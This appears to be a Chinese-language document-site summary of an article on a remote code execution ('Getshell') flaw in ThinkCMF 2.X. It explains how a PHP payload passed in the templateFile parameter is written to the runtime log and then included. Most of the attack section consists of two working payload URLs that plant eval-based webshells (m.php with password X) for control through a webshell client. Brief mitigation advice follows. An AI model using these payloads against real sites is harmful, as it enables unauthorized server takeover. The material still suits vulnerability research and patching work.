ThinkCMF缓存Getshell漏洞分析与利用

需积分: 0 0 下载量 37 浏览量 更新于2024-08-05 收藏 476KB PDF 举报
"文章介绍了如何利用ThinkCMF2.X版本中的模板缓存机制,通过构造特定的Payload,将PHP代码写入日志文件并再次包含执行,实现远程代码执行,即Getshell攻击。" 在网络安全领域,Getshell攻击是指攻击者通过某种方式在目标服务器上获取一个可执行的命令入口,通常是以PHP文件的形式存在,使得攻击者能够控制或操纵目标服务器。这篇由Sp4ceHACK学习呀发表的文章讲述了针对ThinkCMF2.X(基于ThinkPHP3.x框架)的Getshell漏洞利用方法。 ThinkCMF是一款基于ThinkPHP的开源内容管理框架,而ThinkPHP3.x版本默认开启错误日志记录和模板缓存功能。攻击者可以利用这个特性,尝试将恶意PHP代码注入到数据运行时目录(data/runtime)下的Logs/Portal日志文件中。一旦代码被写入,通过再次访问包含这些日志文件的URL,就可能导致恶意代码被执行。 文章提供了两种Payload示例: Payload1: 1. 访问构造的URL:`http://target.domain/?a=display&templateFile=<?php file_put_contents('m.php','<?php eval($_POST["X"]);?>');die();?>` 2. 再次访问:`http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log` 这会在网站根目录生成一个名为m.php的文件,其中包含了可执行的PHP代码,密码字段为X。 Payload2: 1. 访问构造的URL:`http://target.domain/?a=display&templateFile=<?php eval($_POST[X]);?>` 2. 使用菜刀(一种常见的Webshell管理工具)连接:`http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log` 这里同样使用了X作为密码。 这些Payload的原理是,通过`templateFile`参数尝试加载不存在的模板文件,ThinkPHP会尝试生成一个包含错误信息的日志文件,而这些错误信息中就包含了攻击者输入的PHP代码。当再次访问包含日志文件的URL时,服务器会尝试解析日志文件,从而执行其中的恶意PHP代码。 文章提醒,这种攻击可能存在于Linux和Windows环境下的不同PHP版本,如宝塔环境下的PHP7.2和PHPstudy下的PHP7.1。对于使用ThinkCMF2.X的站点管理员来说,及时更新系统、关闭不必要的错误日志记录和模板缓存,以及加强输入验证和过滤,是防止此类攻击的关键措施。 这篇文章揭示了Web应用安全的一个重要方面,即框架和CMS的安全配置与漏洞利用,对从事Web安全研究和运维的人员具有很高的参考价值。